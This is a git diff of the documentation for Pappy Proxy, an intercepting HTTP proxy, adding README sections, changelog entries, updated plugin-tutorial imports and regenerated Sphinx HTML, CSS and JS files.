will cause Pappy to open a port on 8080 that will +accept connections normally and a port on 8443 which will accept SSL +connections. The forward\_host setting tells Pappy to redirect any +requests sent to the port to the given host. It will also update the +request’s host header. forward\_host\_ssl does the same thing, but it +listens for SSL connections and forces the connection to use SSL. + +Or if you’re going to YOLO it do the same thing then listen on port +80/443 directly. I do not suggest you do this. + +:: + + "proxy_listeners": [ + {"port": 80, "interface": "127.0.0.1", "forward_host": "www.example.faketld"}, + {"port": 443, "interface": "127.0.0.1", "forward_host_ssl": "www.example.faketld"}, + ] + +Pappy will automatically use this host to make the connection and +forward the request to the new server. + FAQ --- @@ -1175,11 +1534,87 @@ saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of ``--``. So just wait a little bit and it will get an ID you can use. +Boring, Technical Stuff +----------------------- + +I do some stuff to try and keep speed and memory usage to reasonable +levels. Unfortunately, things might seem slow in some areas. This is +where I try and explain why those exist. Honestly, you probably don't +care about this, but I'd rather have it written down and have nobody +read it than just leave people in the dark. + +Request Cache / Memory usage +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For performance reasons, Pappy by default will not store every request +in memory. The cache will store a certain number of the most recently +accessed requests in memory. This means that if you go through all of +history, it could be slow (for example running ``ls a`` or ``sm``). If +you have enough RAM to keep everything in memory, you can set the +request cache size to -1 to just keep everything in memory. However, +even if the cache size is unlimited, it still won't load a request into +memory untill you access it. So if you want to load everything in +memory, run ``ls a``. + +By default, Pappy will cache 2000 requests. This is kind of heavy, but +it's assumed you're doing testing on a reasonably specced laptop. +Personally, I live on the edge and use -1 until I run into memory +issues. + Changelog --------- The boring part of the readme +- 0.2.7 + + - boring unit tests + - should make future releases more stable I guess + - Support for upstream SOCKS servers + - ``print_params`` command + - ``inv`` filter + - ``param_info`` command + - Filters by request/response only headers/body + - Transparent host redirection + - Some easier to type aliases for common commands + +- 0.2.6 + + - Fix pip being dumb + - ``watch`` command to watch requests/responses in real time + - Added ``pp[qs] form `` to print POST data + - Bugfixes + +- 0.2.5 + + - Requests sent with repeater now are given ``repeater`` tag + - Add ppq and pps commands + - Look at the pretty prompt + - Bugfixes + +- 0.2.4 + + - Add command history saving between sessions + - Add html encoder/decoder + - All the bugs were fixed so I added some more for 0.2.5 + +- 0.2.3 + + - Decoder functions + - Add ``merge`` command + - Bugfixes + +- 0.2.2 + + - COLORS + - Performance improvements + - Bugfixes (duh) + +- 0.2.1 + + - Improve memory usage + - Tweaked plugin API + - 0.2.0 - Lots of refactoring diff --git a/docs/build/html/_sources/pappyplugins.txt b/docs/build/html/_sources/pappyplugins.txt index 182cc9d..466e815 100644 --- a/docs/build/html/_sources/pappyplugins.txt +++ b/docs/build/html/_sources/pappyplugins.txt @@ -272,10 +272,10 @@ Using defer.inlineCallbacks With a Command .. note:: This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with. -Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet `_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function:: +Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet `_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.util.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function:: import shlex - from pappyproxy.console import load_reqlist + from pappyproxy.util import load_reqlist def print_hosts(line): args = shlex.split(line) @@ -309,10 +309,10 @@ And we run it:: iteration over non-sequence pappy> -Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this:: +Iteration over a non-sequence? what? Well, :func:`pappyproxy.util.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this:: import shlex - from pappyproxy.console import load_reqlist + from pappyproxy.util import load_reqlist from twisted.internet import defer @defer.inlineCallbacks @@ -336,7 +336,7 @@ However, the console assumes that any functions it calls will be blocking. As a import shlex import crochet - from pappyproxy.console import load_reqlist + from pappyproxy.util import load_reqlist from twisted.internet import defer @crochet.wait_for(timeout=None) @@ -394,7 +394,7 @@ Here is an example plugin for storing the user-agent (if it exists) in the ``plu import shlex from twisted.internet import defer - from pappyproxy.console import load_reqlist + from pappyproxy.util import load_reqlist from pappyproxy.plugin import main_context from pappyproxy.util import PappyException @@ -435,8 +435,7 @@ Here is an example plugin for storing the user-agent (if it exists) in the ``plu Useful Functions ---------------- -* Load a request by id: :func:`pappyproxy.http.Request.load_request` -* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string` +See :mod:`pappyproxy.plugin` and :mod:`pappyproxy.util` for useful functions Built In Plugins As Examples ============================ diff --git a/docs/build/html/_static/basic.css b/docs/build/html/_static/basic.css index 9fa77d8..c89fc7e 100644 --- a/docs/build/html/_static/basic.css +++ b/docs/build/html/_static/basic.css @@ -4,7 +4,7 @@ * * Sphinx stylesheet -- basic theme. * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ diff --git a/docs/build/html/_static/classic.css b/docs/build/html/_static/classic.css index 2da9234..d98894b 100644 --- a/docs/build/html/_static/classic.css +++ b/docs/build/html/_static/classic.css @@ -4,7 +4,7 @@ * * Sphinx stylesheet -- default theme. * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ @@ -169,7 +169,7 @@ a.headerlink:hover { color: white; } -div.body p, div.body dd, div.body li { +div.body p, div.body dd, div.body li, div.body blockquote { text-align: justify; line-height: 130%; } diff --git a/docs/build/html/_static/doctools.js b/docs/build/html/_static/doctools.js index c7bfe76..8163495 100644 --- a/docs/build/html/_static/doctools.js +++ b/docs/build/html/_static/doctools.js @@ -4,7 +4,7 @@ * * Sphinx JavaScript utilities for all documentation. * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ @@ -124,6 +124,7 @@ var Documentation = { this.fixFirefoxAnchorBug(); this.highlightSearchWords(); this.initIndexTable(); + }, /** @@ -252,6 +253,29 @@ var Documentation = { }); var url = parts.join('/'); return path.substring(url.lastIndexOf('/') + 1, path.length - 1); + }, + + initOnKeyListeners: function() { + $(document).keyup(function(event) { + var activeElementType = document.activeElement.tagName; + // don't navigate when in search box or textarea + if (activeElementType !== 'TEXTAREA' && activeElementType !== 'INPUT' && activeElementType !== 'SELECT') { + switch (event.keyCode) { + case 37: // left + var prevHref = $('link[rel="prev"]').prop('href'); + if (prevHref) { + window.location.href = prevHref; + return false; + } + case 39: // right + var nextHref = $('link[rel="next"]').prop('href'); + if (nextHref) { + window.location.href = nextHref; + return false; + } + } + } + }); } }; @@ -260,4 +284,4 @@ _ = Documentation.gettext; $(document).ready(function() { Documentation.init(); -}); +}); \ No newline at end of file diff --git a/docs/build/html/_static/pygments.css b/docs/build/html/_static/pygments.css index 57eadc0..8213e90 100644 --- a/docs/build/html/_static/pygments.css +++ b/docs/build/html/_static/pygments.css @@ -4,8 +4,10 @@ .highlight .err { border: 1px solid #FF0000 } /* Error */ .highlight .k { color: #007020; font-weight: bold } /* Keyword */ .highlight .o { color: #666666 } /* Operator */ +.highlight .ch { color: #408090; font-style: italic } /* Comment.Hashbang */ .highlight .cm { color: #408090; font-style: italic } /* Comment.Multiline */ .highlight .cp { color: #007020 } /* Comment.Preproc */ +.highlight .cpf { color: #408090; font-style: italic } /* Comment.PreprocFile */ .highlight .c1 { color: #408090; font-style: italic } /* Comment.Single */ .highlight .cs { color: #408090; background-color: #fff0f0 } /* Comment.Special */ .highlight .gd { color: #A00000 } /* Generic.Deleted */ diff --git a/docs/build/html/_static/searchtools.js b/docs/build/html/_static/searchtools.js index efec3c4..cb74467 100644 --- a/docs/build/html/_static/searchtools.js +++ b/docs/build/html/_static/searchtools.js @@ -4,7 +4,7 @@ * * Sphinx JavaScript utilties for the full-text search. * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ diff --git a/docs/build/html/_static/sidebar.js b/docs/build/html/_static/sidebar.js index 5882ecf..4282fe9 100644 --- a/docs/build/html/_static/sidebar.js +++ b/docs/build/html/_static/sidebar.js @@ -16,7 +16,7 @@ * Once the browser is closed the cookie is deleted and the position * reset to the default (expanded). * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ diff --git a/docs/build/html/_static/websupport.js b/docs/build/html/_static/websupport.js index 28d65db..ffd9b2b 100644 --- a/docs/build/html/_static/websupport.js +++ b/docs/build/html/_static/websupport.js @@ -4,7 +4,7 @@ * * sphinx.websupport utilties for all documentation. * - * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. + * :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. * :license: BSD, see LICENSE for details. * */ diff --git a/docs/build/html/genindex.html b/docs/build/html/genindex.html index a857862..7389c5d 100644 --- a/docs/build/html/genindex.html +++ b/docs/build/html/genindex.html @@ -7,7 +7,7 @@ - Index — Pappy Proxy 0.2.0 documentation + Index — Pappy Proxy 0.2.11 documentation @@ -15,7 +15,7 @@ - + @@ -106,37 +106,37 @@ -
add_req() (in module pappyproxy.plugin) +
add_to_history() (in module pappyproxy.plugin)
- -
-
add_request() (pappyproxy.context.Context method) +
all_pairs() (pappyproxy.http.RepeatableDict method)
+
+
-
all_pairs() (pappyproxy.http.RepeatableDict method) +
all_vals() (pappyproxy.http.RepeatableDict method)
-
all_reqs (pappyproxy.context.Context attribute) +
append() (pappyproxy.http.RepeatableDict method)
-
all_reqs() (in module pappyproxy.plugin) +
apply_req() (pappyproxy.session.Session method)
-
all_vals() (pappyproxy.http.RepeatableDict method) +
apply_rsp() (pappyproxy.session.Session method)
-
append() (pappyproxy.http.RepeatableDict method) +
async_deep_save() (pappyproxy.http.Request method)
-
async_deep_save() (pappyproxy.http.Request method) +
async_main_context_ids() (in module pappyproxy.plugin)
@@ -157,6 +157,10 @@
async_submit() (pappyproxy.http.Request method)
+ +
async_submit_requests() (in module pappyproxy.http) +
+
@@ -167,10 +171,6 @@
body (pappyproxy.http.HTTPMessage attribute)
- -
body_complete() (pappyproxy.http.HTTPMessage method) -
-
@@ -184,13 +184,19 @@
-
CERT_DIR (in module pappyproxy.config) +
cache (pappyproxy.http.Request attribute)
-
clear() (pappyproxy.http.RepeatableDict method) +
clear() (pappyproxy.http.HTTPMessage method) +
+ +
+ +
(pappyproxy.http.RepeatableDict method)
+
common_passwords() (in module pappyproxy.iter)
@@ -199,10 +205,14 @@
common_usernames() (in module pappyproxy.iter)
+ +
confirm() (in module pappyproxy.util) +
+
-
confirm() (in module pappyproxy.console) +
connect_request (pappyproxy.http.Request attribute)
@@ -224,24 +234,12 @@
-
DATA_DIR (in module pappyproxy.config) -
- - -
DATAFILE (in module pappyproxy.config) -
- - -
DEBUG_DIR (in module pappyproxy.config) +
deep_delete() (pappyproxy.http.Request method)
-
deep_delete() (pappyproxy.http.Request method) -
- -
delete_cookie() (pappyproxy.http.Response method)
@@ -316,43 +314,43 @@ - -
-
get_metadata() (pappyproxy.http.HTTPMessage method) +
get_cookie() (pappyproxy.session.Session method)
-
-
get_request() (in module pappyproxy.http) +
get_plugin_dict() (pappyproxy.http.Request method)
-
- -

H

- - + +
-
handle_header() (pappyproxy.http.HTTPMessage method) +
get_req_data_row() (in module pappyproxy.util)
+
-
handle_start_line() (pappyproxy.http.HTTPMessage method) +
get_request() (in module pappyproxy.http)
-
headers_end() (pappyproxy.http.HTTPMessage method) +
get_rsp_cookie() (pappyproxy.session.Session method)
+
+ +

H

+ + - + + + + + + + + + + + @@ -586,6 +768,16 @@ Matches both A and B but not C + + + + + + + + + + @@ -697,8 +889,23 @@ can still negate these.

+ + + +
headers_section (pappyproxy.http.HTTPMessage attribute)
-
headers_section_pretty (pappyproxy.http.HTTPMessage attribute)
+
host (pappyproxy.http.Request attribute)
@@ -372,10 +370,6 @@ -
in_memory_requests (pappyproxy.context.Context attribute) -
- -
init() (in module pappyproxy.http)
@@ -396,25 +390,25 @@ @@ -444,7 +446,75 @@
-
load_all_requests() (pappyproxy.http.Request static method) +
load_macros() (in module pappyproxy.macros)
-
load_macros() (in module pappyproxy.macros) +
load_reqlist() (in module pappyproxy.util)
-
load_reqlist() (in module pappyproxy.console) +
load_request() (pappyproxy.http.Request static method)
-
load_request() (pappyproxy.http.Request static method) +
load_requests_by_tag() (pappyproxy.http.Request static method)
-
load_requests_by_tag() (pappyproxy.http.Request static method) +
load_requests_by_time() (pappyproxy.http.Request static method)
@@ -431,10 +425,18 @@
Macro (class in pappyproxy.macros)
+ +
main_context_ids() (in module pappyproxy.plugin) +
+
-
main_context() (in module pappyproxy.plugin) +
mangle_request() (in module pappyproxy.macros) +
+ + +
mangle_response() (in module pappyproxy.macros)
+ - @@ -700,17 +804,13 @@
-
PAPPY_DIR (in module pappyproxy.config) +
PappyConfig (class in pappyproxy.config) +
+ + +
PappyConfig.archive (in module pappyproxy.config) +
+ + +
PappyConfig.cert_dir (in module pappyproxy.config) +
+ + +
PappyConfig.config_dict (in module pappyproxy.config) +
+ + +
PappyConfig.crypt_dir (in module pappyproxy.config) +
+ + +
PappyConfig.crypt_file (in module pappyproxy.config) +
+ + +
PappyConfig.crypt_session (in module pappyproxy.config) +
+ + +
PappyConfig.data_dir (in module pappyproxy.config) +
+ + +
PappyConfig.datafile (in module pappyproxy.config) +
+ + +
PappyConfig.debug_dir (in module pappyproxy.config) +
+ + +
PappyConfig.global_config_dict (in module pappyproxy.config) +
+ + +
PappyConfig.http_proxy (in module pappyproxy.config) +
+ + +
PappyConfig.listeners (in module pappyproxy.config) +
+ + +
PappyConfig.pappy_dir (in module pappyproxy.config) +
+ + +
PappyConfig.plugin_dirs (in module pappyproxy.config) +
+ + +
PappyConfig.salt_len (in module pappyproxy.config) +
+ + +
PappyConfig.save_history (in module pappyproxy.config) +
+ + +
PappyConfig.socks_proxy (in module pappyproxy.config)
@@ -463,6 +533,8 @@
pappyproxy.config (module)
+
pappyproxy.console (module)
@@ -491,8 +563,6 @@
pappyproxy.plugin (module)
-
pappyproxy.proxy (module)
@@ -510,6 +580,10 @@ +
PappySession (class in pappyproxy.pappy) +
+ +
path_tuple (pappyproxy.http.Request attribute)
@@ -522,11 +596,15 @@ -
print_requests() (in module pappyproxy.console) +
print_request_rows() (in module pappyproxy.util) +
+ + +
print_requests() (in module pappyproxy.util)
-
print_table() (in module pappyproxy.console) +
print_table() (in module pappyproxy.util)
@@ -534,6 +612,10 @@ +
proxy_creds (pappyproxy.http.Request attribute) +
+ +
ProxyCmd (class in pappyproxy.console)
@@ -568,11 +650,11 @@ -
remove_request() (pappyproxy.context.Context static method) +
RepeatableDict (class in pappyproxy.http)
-
RepeatableDict (class in pappyproxy.http) +
req_history() (in module pappyproxy.plugin)
@@ -582,11 +664,11 @@
-
reserved_meta_keys (pappyproxy.http.HTTPMessage attribute) +
require_modules() (in module pappyproxy.plugin)
-
reset_metadata() (pappyproxy.http.HTTPMessage method) +
reserved_meta_keys (pappyproxy.http.HTTPMessage attribute)
@@ -616,36 +698,54 @@ +
save_req() (pappyproxy.session.Session method) +
+ + +
save_rsp() (pappyproxy.session.Session method) +
+ +
saved (pappyproxy.http.Request attribute)
-
set_cmd() (pappyproxy.console.ProxyCmd method) +
Session (class in pappyproxy.session)
-
set_cmds() (pappyproxy.console.ProxyCmd method) +
session (in module pappyproxy.pappy)
-
set_cookie() (pappyproxy.http.Response method) +
set_cmd() (pappyproxy.console.ProxyCmd method)
-
set_cookie_kv() (pappyproxy.http.Response method) +
set_cmds() (pappyproxy.console.ProxyCmd method)
-
set_filters() (pappyproxy.context.Context method) +
set_cookie() (pappyproxy.http.Response method)
+
+ +
(pappyproxy.session.Session method) +
+ +
-
set_metadata() (pappyproxy.http.HTTPMessage method) +
set_cookie_kv() (pappyproxy.http.Response method)
+
set_filters() (pappyproxy.context.Context method) +
+ +
set_tag() (in module pappyproxy.context)
@@ -658,6 +758,10 @@ +
sort_time (pappyproxy.http.Request attribute) +
+ +
soup (pappyproxy.http.Response attribute)
@@ -680,7 +784,7 @@ -
submit_new() (pappyproxy.http.Request static method) +
submit_request() (pappyproxy.http.Request static method)
@@ -752,12 +852,12 @@
  • modules |
  • - + \ No newline at end of file diff --git a/docs/build/html/index.html b/docs/build/html/index.html index 95505ff..4ce2769 100644 --- a/docs/build/html/index.html +++ b/docs/build/html/index.html @@ -6,7 +6,7 @@ - Welcome to Pappy Proxy’s documentation! — Pappy Proxy 0.2.0 documentation + Welcome to Pappy Proxy’s documentation! — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -39,7 +39,7 @@
  • next |
  • - + @@ -64,6 +64,7 @@
  • Lite Mode
  • Adding The CA Cert to Your Browser
  • Configuration
  • +
  • General Console Techniques
  • Generating Pappy’s CA Cert
  • Browsing Recorded Requests/Responses
  • Tags
  • @@ -71,6 +72,7 @@
  • Context
  • Filter Strings
  • Scope
  • +
  • Decoding Strings
  • Interceptor
  • Repeater
  • Macros
  • @@ -78,7 +80,11 @@
  • Logging
  • Additional Commands and Features
  • Plugins
  • +
  • Global Settings
  • +
  • Using a SOCKS Server
  • +
  • Transparent Host Redirection
  • FAQ
  • +
  • Boring, Technical Stuff
  • Changelog
  • @@ -95,6 +101,11 @@
  • Built In Plugins As Examples
  • +
  • Contributing +
  • @@ -158,12 +169,12 @@
  • next |
  • - + \ No newline at end of file diff --git a/docs/build/html/modules.html b/docs/build/html/modules.html index cabd23d..647dd6e 100644 --- a/docs/build/html/modules.html +++ b/docs/build/html/modules.html @@ -6,7 +6,7 @@ - pappyproxy — Pappy Proxy 0.2.0 documentation + pappyproxy — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -112,12 +112,12 @@
  • modules |
  • - + \ No newline at end of file diff --git a/docs/build/html/objects.inv b/docs/build/html/objects.inv index 019852a..8aa8de2 100644 Binary files a/docs/build/html/objects.inv and b/docs/build/html/objects.inv differ diff --git a/docs/build/html/overview.html b/docs/build/html/overview.html index 8ae07d8..e79b9a3 100644 --- a/docs/build/html/overview.html +++ b/docs/build/html/overview.html @@ -6,7 +6,7 @@ - The Pappy Proxy — Pappy Proxy 0.2.0 documentation + The Pappy Proxy — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -43,7 +43,7 @@
  • previous |
  • - + @@ -84,6 +84,8 @@ contributing code and plugins are extremely easy to integrate as a core feature. So you can also contribute by writing a plugin and letting me know about it. You can find out more by looking at the official plugin docs.

    +

    You can find ideas for features to add on the contributing page in the +docs.

    @@ -94,7 +96,7 @@ docs.

    pip or some other command that can handle a setup.py with requirements. Once the requirements are installed, you can check that it installed correctly by running pappy -l to start the proxy.

    -
    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
    +
    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
     $ cd pappy-proxy
     $ pip install .
     
    @@ -106,7 +108,7 @@ $ pip install . exported responses, plugin data, etc. will be placed in the current directory so it’s good to give your project a directory of its own. To start a project, do something like:

    -
    $ mkdir test_project
    +
    $ mkdir test_project
     $ cd test_project
     $ pappy
     Copying default config to directory
    @@ -134,7 +136,7 @@ a temporary data file in /tmp-l or --lite.

    Example:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmpw4mGv2
     Proxy is listening on port 8000
     pappy> quit
    @@ -228,6 +230,132 @@ proxy. The following fields can be used to configure the proxy:

    -
    update_from_body() (pappyproxy.http.HTTPMessage method) -
    - - -
    update_from_headers() (pappyproxy.http.HTTPMessage method) +
    url (pappyproxy.http.Request attribute)
    -
    url (pappyproxy.http.Request attribute) +
    url_color (pappyproxy.http.Request attribute)

    See the default config.json for examples.

    +
    +

    General Console Techniques

    +

    There are a few tricks you can use in general when using Pappy’s +console. Most of these are provided by the +cmd and +cmd2.

    +
    +

    Run a shell command

    +

    You can run a shell command with !:

    +
    pappy> ls
    +ID  Verb  Host         Path               S-Code            Req Len  Rsp Len  Time  Mngl
    +5   GET   vitaly.sexy  /netscape.gif      304 Not Modified  0        0        0.08  --
    +4   GET   vitaly.sexy  /esr1.jpg          304 Not Modified  0        0        0.07  --
    +3   GET   vitaly.sexy  /construction.gif  304 Not Modified  0        0        0.07  --
    +2   GET   vitaly.sexy  /vitaly2.jpg                         0        N/A      --    --
    +1   GET   vitaly.sexy  /                  304 Not Modified  0        0        0.07  --
    +pappy> !ls
    +cmdhistory  config.json  data.db
    +pappy>
    +
    +
    +
    +
    +

    Running Python Code

    +

    You can use the py command to either run python code or to drop down +to a Python shell.

    +
    pappy> py print ':D '*10
    +:D :D :D :D :D :D :D :D :D :D
    +pappy> py
    +Python 2.7.6 (default, Jun 22 2015, 17:58:13)
    +[GCC 4.8.2] on linux2
    +Type "help", "copyright", "credits" or "license" for more information.
    +(ProxyCmd)
    +
    +        py <command>: Executes a Python command.
    +        py: Enters interactive Python mode.
    +        End with ``Ctrl-D`` (Unix) / ``Ctrl-Z`` (Windows), ``quit()``, '`exit()``.
    +        Non-python commands can be issued with ``cmd("your command")``.
    +        Run python code from external files with ``run("filename.py")``
    +
    +>>> from pappyproxy import config
    +>>> config.CONFIG_DICT
    +{u'data_file': u'./data.db', u'history_size': 1000, u'cert_dir': u'{DATADIR}/certs', u'proxy_listeners': [{u'interface': u'127.0.0.1', u'port': 8000}]}
    +>>> exit()
    +pappy>
    +
    +
    +
    +
    +

    Redirect Output To File

    +

    You can use > to direct output to a file. However, a number of +commands use colored output. If you just redirect these to a file, there +will be additional bytes which represent the ANSI color codes. To get +around this, use the nocolor command to remove the color from the +command output.

    +
    pappy> ls > ls.txt
    +pappy> !xxd -c 32 -g 4 ls.txt
    +0000000: 1b5b316d 1b5b346d 49442020 56657262 2020486f 73742020 20202020 20202050  .[1m.[4mID  Verb  Host         P
    +0000020: 61746820 20202020 20202020 20202020 2020532d 436f6465 20202020 20202020  ath               S-Code
    +0000040: 20202020 52657120 4c656e20 20527370 204c656e 20205469 6d652020 20204d6e      Req Len  Rsp Len  Time    Mn
    +0000060: 676c2020 1b5b306d 0a352020 201b5b33 366d4745 541b5b30 6d202020 1b5b3931  gl  .[0m.5   .[36mGET.[0m   .[91
    +0000080: 6d766974 616c792e 73657879 1b5b306d 20201b5b 33366d1b 5b306d2f 1b5b3334  mvitaly.sexy.[0m  .[36m.[0m/.[34
    +00000a0: 6d6e6574 73636170 652e6769 661b5b30 6d202020 2020201b 5b33356d 33303420  mnetscape.gif.[0m      .[35m304
    +00000c0: 4e6f7420 4d6f6469 66696564 1b5b306d 20203020 20202020 20202030 20202020  Not Modified.[0m  0        0
    +00000e0: 20202020 302e3038 20202020 2d2d2020 20200a34 2020201b 5b33366d 4745541b      0.08    --    .4   .[36mGET.
    +0000100: 5b306d20 20201b5b 39316d76 6974616c 792e7365 78791b5b 306d2020 1b5b3336  [0m   .[91mvitaly.sexy.[0m  .[36
    +0000120: 6d1b5b30 6d2f1b5b 33346d65 7372312e 6a70671b 5b306d20 20202020 20202020  m.[0m/.[34mesr1.jpg.[0m
    +0000140: 201b5b33 356d3330 34204e6f 74204d6f 64696669 65641b5b 306d2020 30202020   .[35m304 Not Modified.[0m  0
    +0000160: 20202020 20302020 20202020 2020302e 30372020 20202d2d 20202020 0a332020       0        0.07    --    .3
    +0000180: 201b5b33 366d4745 541b5b30 6d202020 1b5b3931 6d766974 616c792e 73657879   .[36mGET.[0m   .[91mvitaly.sexy
    +00001a0: 1b5b306d 20201b5b 33366d1b 5b306d2f 1b5b3334 6d636f6e 73747275 6374696f  .[0m  .[36m.[0m/.[34mconstructio
    +00001c0: 6e2e6769 661b5b30 6d20201b 5b33356d 33303420 4e6f7420 4d6f6469 66696564  n.gif.[0m  .[35m304 Not Modified
    +00001e0: 1b5b306d 20203020 20202020 20202030 20202020 20202020 302e3037 20202020  .[0m  0        0        0.07
    +0000200: 2d2d2020 20200a32 2020201b 5b33366d 4745541b 5b306d20 20201b5b 39316d76  --    .2   .[36mGET.[0m   .[91mv
    +0000220: 6974616c 792e7365 78791b5b 306d2020 1b5b3336 6d1b5b30 6d2f1b5b 33346d76  italy.sexy.[0m  .[36m.[0m/.[34mv
    +0000240: 6974616c 79322e6a 70671b5b 306d2020 20202020 201b5b33 366d3230 30204f4b  italy2.jpg.[0m       .[36m200 OK
    +0000260: 1b5b306d 20202020 20202020 20202020 30202020 20202020 20323033 34303033  .[0m            0        2034003
    +0000280: 20203135 352e3131 20202d2d 20202020 0a312020 201b5b33 366d4745 541b5b30    155.11  --    .1   .[36mGET.[0
    +00002a0: 6d202020 1b5b3931 6d766974 616c792e 73657879 1b5b306d 20201b5b 33366d1b  m   .[91mvitaly.sexy.[0m  .[36m.
    +00002c0: 5b306d2f 1b5b3334 6d1b5b30 6d202020 20202020 20202020 20202020 2020201b  [0m/.[34m.[0m                  .
    +00002e0: 5b33356d 33303420 4e6f7420 4d6f6469 66696564 1b5b306d 20203020 20202020  [35m304 Not Modified.[0m  0
    +0000300: 20202030 20202020 20202020 302e3037 20202020 2d2d2020 20200a                0        0.07    --    .
    +pappy> nocolor ls > ls2.txt
    +pappy> !xxd -c 32 -g 4 ls2.txt
    +0000000: 49442020 56657262 2020486f 73742020 20202020 20202050 61746820 20202020  ID  Verb  Host         Path
    +0000020: 20202020 20202020 2020532d 436f6465 20202020 20202020 20202020 52657120            S-Code            Req
    +0000040: 4c656e20 20527370 204c656e 20205469 6d652020 20204d6e 676c2020 0a352020  Len  Rsp Len  Time    Mngl  .5
    +0000060: 20474554 20202076 6974616c 792e7365 78792020 2f6e6574 73636170 652e6769   GET   vitaly.sexy  /netscape.gi
    +0000080: 66202020 20202033 3034204e 6f74204d 6f646966 69656420 20302020 20202020  f      304 Not Modified  0
    +00000a0: 20203020 20202020 20202030 2e303820 2020202d 2d202020 200a3420 20204745    0        0.08    --    .4   GE
    +00000c0: 54202020 76697461 6c792e73 65787920 202f6573 72312e6a 70672020 20202020  T   vitaly.sexy  /esr1.jpg
    +00000e0: 20202020 33303420 4e6f7420 4d6f6469 66696564 20203020 20202020 20202030      304 Not Modified  0        0
    +0000100: 20202020 20202020 302e3037 20202020 2d2d2020 20200a33 20202047 45542020          0.07    --    .3   GET
    +0000120: 20766974 616c792e 73657879 20202f63 6f6e7374 72756374 696f6e2e 67696620   vitaly.sexy  /construction.gif
    +0000140: 20333034 204e6f74 204d6f64 69666965 64202030 20202020 20202020 30202020   304 Not Modified  0        0
    +0000160: 20202020 20302e30 37202020 202d2d20 2020200a 32202020 47455420 20207669       0.07    --    .2   GET   vi
    +0000180: 74616c79 2e736578 7920202f 76697461 6c79322e 6a706720 20202020 20203230  taly.sexy  /vitaly2.jpg       20
    +00001a0: 30204f4b 20202020 20202020 20202020 30202020 20202020 20323033 34303033  0 OK            0        2034003
    +00001c0: 20203135 352e3131 20202d2d 20202020 0a312020 20474554 20202076 6974616c    155.11  --    .1   GET   vital
    +00001e0: 792e7365 78792020 2f202020 20202020 20202020 20202020 20202033 3034204e  y.sexy  /                  304 N
    +0000200: 6f74204d 6f646966 69656420 20302020 20202020 20203020 20202020 20202030  ot Modified  0        0        0
    +0000220: 2e303720 2020202d 2d202020 200a0a                                        .07    --    ..
    +pappy>
    +
    +
    +

    If you want to write the contents of a request or response to a file, +don’t use nocolor with vfq or vfs. Use just the vbq or +vbs commands.

    + ++++ + + + + + + + + + + +
    CommandDescription
    nocolorRun a command and print its output without ASCII escape codes. Intended for use when redirecting output to a file. Should only be used with text and not with binary data.
    +
    +

    Generating Pappy’s CA Cert

    In order to intercept and modify requests to sites that use HTTPS, you @@ -259,9 +387,9 @@ argument to have it put the generated certs in a different directory.

    The following commands can be used to view requests and responses

    +--+ @@ -274,30 +402,74 @@ argument to have it put the generated certs in a different directory.

    - + - + - + + + + + + + + + - + + + + + + + + + + + + + + + + + + +
    Command list, ls List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass ‘a’ or ‘all’ as an argument, it will print all the requests in the current context. If you pass a number “n” as an argument, it will print the n most recent requests in the current context.
    sm
    sm [p] sm, site_mapPrint a tree showing the site map. It will display all requests in the current context that did not have a 404 response.Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. This has to go through all of the requests in the current context so it may be slow. If the p option is given, it will print the paths as paths rather than as a tree.
    viq <id(s)> view_request_info, viq View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information.
